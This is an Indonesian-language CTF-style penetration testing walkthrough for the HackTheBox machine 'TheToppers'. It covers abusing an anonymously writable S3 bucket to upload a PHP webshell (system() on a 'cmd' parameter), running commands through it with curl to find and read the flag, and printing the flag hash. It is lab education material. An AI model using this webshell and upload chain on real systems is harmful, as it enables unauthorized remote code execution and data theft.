Penetration Testing Report

Eksploitasi S3 Bucket & Remote Code Execution (RCE)

Target Mesin: TheToppers.htb (HackTheBox)

Tujuan

Tujuan dari kegiatan pengujian penetrasi ini adalah untuk mengidentifikasi kelemahan konfigurasi pada subdomain S3 target, mengeksploitasi hak akses tulis (write permission) publik, mengunggah payload webshell PHP, serta mengeksekusi perintah jarak jauh (Remote Code Execution) guna memperoleh berkas bendera bukti kompromi (flag).

Latar Belakang

Penyimpanan objek S3 (Simple Storage Service) sering diandalkan untuk menampung data statis aplikasi web. Namun, kesalahan konfigurasi berupa pemberian izin akses tulis kepada publik (Anonymous Write) memungkinkan aktor jahat mengunggah berkas eksekusi. Ketika bucket S3 dipetakan secara langsung ke direktori akar web (web root) yang mengaktifkan interpreter backend seperti PHP, hal ini langsung membuka jalur eksploitasi Remote Code Execution (RCE). RCE adalah kerentanan tingkat kritis karena memberikan kendali penuh sistem operasi host kepada penyerang melalui antarmuka web.

Langkah-langkah Eksploitasi

Pendaftaran Resolusi Domain Lokal 1
sudo nano /etc/hosts
Fungsi Command

Membuka berkas konfigurasi resolusi nama host lokal menggunakan text editor nano dengan hak akses administratif.

Alasan Penggunaan

Memetakan domain target (thetoppers.htb dan s3.thetoppers.htb) ke alamat IP mesin HTB secara lokal agar dapat diselesaikan oleh sistem.

Output yang Diharapkan

Tampilan teks editor nano yang memuat isi berkas hosts.

Arti Output

Sistem lokal siap ditambahkan aturan routing DNS lokal buatan.

Konsep Keamanan Siber: Resolusi nama host manual memotong proses kueri DNS publik, memastikan penguji terhubung ke server target lokal virtual secara stabil tanpa memerlukan setup server DNS penuh.
Verifikasi Koneksi Subdomain S3 2
curl http://s3.thetoppers.htb
Fungsi Command

Mengirimkan permintaan HTTP GET ke subdomain s3.thetoppers.htb.

Alasan Penggunaan

Memastikan subdomain penyimpanan S3 merespons dengan benar dan layanannya aktif.

Output yang Diharapkan

{"status": "running"}

Arti Output

Subdomain berjalan dan menggunakan emulator/layanan penyimpanan objek yang aktif di port 80/HTTP.

Konsep Keamanan Siber: Information Gathering & Active Reconnaissance. Langkah ini memastikan target operasional sebelum payload disiapkan.
Inisialisasi Profil AWS CLI 3
aws configure
Fungsi Command

Mengonfigurasi parameter profil kredensial untuk utilitas AWS Command Line Interface.

Alasan Penggunaan

AWS CLI membutuhkan struktur data konfigurasi dasar (meskipun berupa isian palsu/dummy) agar dapat memproses kueri API ke penyimpanan S3 lokal target.

Output yang Diharapkan

Prompt pengisian Access Key, Secret Key, Region, dan Format output.

Arti Output

Alat lokal siap merumuskan perintah manajemen bucket S3.

Konsep Keamanan Siber: Banyak integrasi tiruan S3 (seperti LocalStack) tidak memvalidasi kredensial AWS secara kriptografis selama izin tulis anonim terbuka bebas.
Pembuatan Payload Webshell 4
cat > shell.php << 'EOF'
<?php
if(isset($_REQUEST['cmd'])){
    system($_REQUEST['cmd']);
}
?>
EOF
Fungsi Command

Membuat berkas bernama shell.php dan menyalin kode PHP pengeksekusi sistem di dalamnya.

Alasan Penggunaan

Membuat backdoor sederhana berbasis web yang menerima parameter perintah 'cmd' dari penyerang.

Output yang Diharapkan

Berkas shell.php berhasil dibuat tanpa pesan galat.

Arti Output

Payload backdoor siap dikirimkan ke server target.

Konsep Keamanan Siber: Penyalahgunaan fungsi internal sistem operasi. Fungsi PHP system() akan meneruskan string langsung ke OS Host Linux shell.
Integritas Berkas Payload 5
cat shell.php
Fungsi Command

Membaca dan menampilkan isi file shell.php ke terminal lokal.

Alasan Penggunaan

Melakukan tinjauan kode cepat guna memastikan tidak ada sintaks atau karakter yang rusak sebelum diunggah.

Output yang Diharapkan

Kode PHP persis seperti yang diinput di langkah sebelumnya.

Arti Output

Integritas berkas lokal terjamin.

Konsep Keamanan Siber: Quality Control & Integrity Verification. Melakukan verifikasi payload lokal mencegah kegagalan eksekusi pasca-unggahan yang mencurigakan.
Eksploitasi Upload File Melalui S3 API 6
aws --endpoint-url http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb
Fungsi Command

Mengunggah file shell.php ke s3 bucket target dengan mengalihkan endpoint API ke URL lokal server target.

Alasan Penggunaan

Mengambil keuntungan dari miskonfigurasi hak akses tulis terbuka (Write Permissions) pada S3 bucket target.

Output yang Diharapkan

upload: ./shell.php to s3://thetoppers.htb/shell.php

Arti Output

File backdoor berhasil diletakkan pada akar direktori web target.

Konsep Keamanan Siber: Broken Access Control (Miskonfigurasi Penyimpanan Awan). Server S3 tidak menerapkan otentikasi / otorisasi yang memadai untuk operasi tulis (s3:PutObject).
Verifikasi Eksekusi dan Pemetaan Home 7
curl "http://thetoppers.htb/shell.php?cmd=ls+/home"
Fungsi Command

Mengirim perintah sistem 'ls /home' lewat parameter cmd webshell.

Alasan Penggunaan

Memastikan RCE berhasil berjalan dan mengetahui daftar nama direktori pengguna (user) di server target.

Output yang Diharapkan

Daftar pengguna (misalnya: svc).

Arti Output

RCE aktif sepenuhnya dan berjalan di bawah hak akses user web (biasanya www-data).

Konsep Keamanan Siber: Remote Code Execution (RCE) dikombinasikan dengan Enumerasi Sistem Awal untuk mencari keberadaan user target lokal.
Enumerasi Folder Pribadi Pengguna 8
curl "http://thetoppers.htb/shell.php?cmd=ls+-la+/home/svc"
Fungsi Command

Mencetak berkas tersembunyi dan hak milik folder pribadi user 'svc'.

Alasan Penggunaan

Mengidentifikasi file-file sensitif, konfigurasi, atau kunci SSH pribadi untuk potensi eskalasi hak akses.

Output yang Diharapkan

Isi lengkap beserta permissions dari /home/svc.

Arti Output

Penguji dapat menganalisis file mana saja yang dapat dibaca oleh user proses web server.

Konsep Keamanan Siber: Post-Exploitation Enumeration. Menilai sejauh mana batasan pembatasan hak akses lokal (Local Privilege Isolation) diterapkan.
Pencarian Dinamis Lokasi Flag 9
curl "http://thetoppers.htb/shell.php?cmd=find+/+-iname+'*flag*'+2>/dev/null"
Fungsi Command

Mencari file dengan nama "flag" tanpa memedulikan sensitivitas huruf besar/kecil di seluruh sistem.

Alasan Penggunaan

Menemukan lokasi penyimpanan flag secara cepat tanpa harus menjelajahi direktori satu per satu.

Output yang Diharapkan

Jalur file flag, misalnya: /var/www/flag.txt

Arti Output

Lokasi eksak dari sasaran utama (flag) berhasil diidentifikasi.

Konsep Keamanan Siber: Filtering Output & File Hunting. Mengabaikan pesan galat menggunakan 2>/dev/null menyederhanakan parsing data hasil pencarian.
Pembacaan Konten Flag (Eksfiltrasi) 10
curl "http://thetoppers.htb/shell.php?cmd=cat+/var/www/flag.txt"
Fungsi Command

Membaca konten teks dari file target /var/www/flag.txt.

Alasan Penggunaan

Memperoleh string token flag guna melengkapi bukti keberhasilan penetrasi sistem secara sah.

Output yang Diharapkan

MD5/Hex Hash String (flag target).

Arti Output

Serangan berhasil secara penuh dari luar sistem hingga kompromi data dalam.

Konsep Keamanan Siber: Data Exfiltration. Tahap akhir di mana informasi rahasia ditarik keluar dari perimeter sistem yang dikompromikan.

Analisis Dampak & Eksploitasi

Eksploitasi ini memanfaatkan kerentanan berantai (Chained Vulnerability):

Pertama, S3 Bucket dikonfigurasi secara keliru yang mengizinkan tulis tanpa otentikasi. Kedua, lingkungan web menggunakan PHP yang mengizinkan eksekusi fungsi OS berbahaya seperti system() tanpa pembatasan fungsi (disable_functions pada php.ini). Dampak nyata dari skenario ini adalah hilangnya aspek Confidentiality (Kerahasiaan), Integrity (Integritas), dan Availability (Ketersediaan) karena penyerang dapat menghapus web root, membaca berkas rahasia, atau menyematkan malware lebih lanjut.

Kesimpulan

Pengujian penetrasi terhadap mesin TheToppers berhasil membuktikan adanya celah keamanan kritis pada kontrol akses S3 Bucket. Bukti kompromi berhasil diamankan dengan eksfiltrasi flag enkripsi berikut:

a980d99281a28d638ac68b9bf9453c2b

⚠️ Potensi Kesalahan Umum (Common Mistakes)

Back to Projects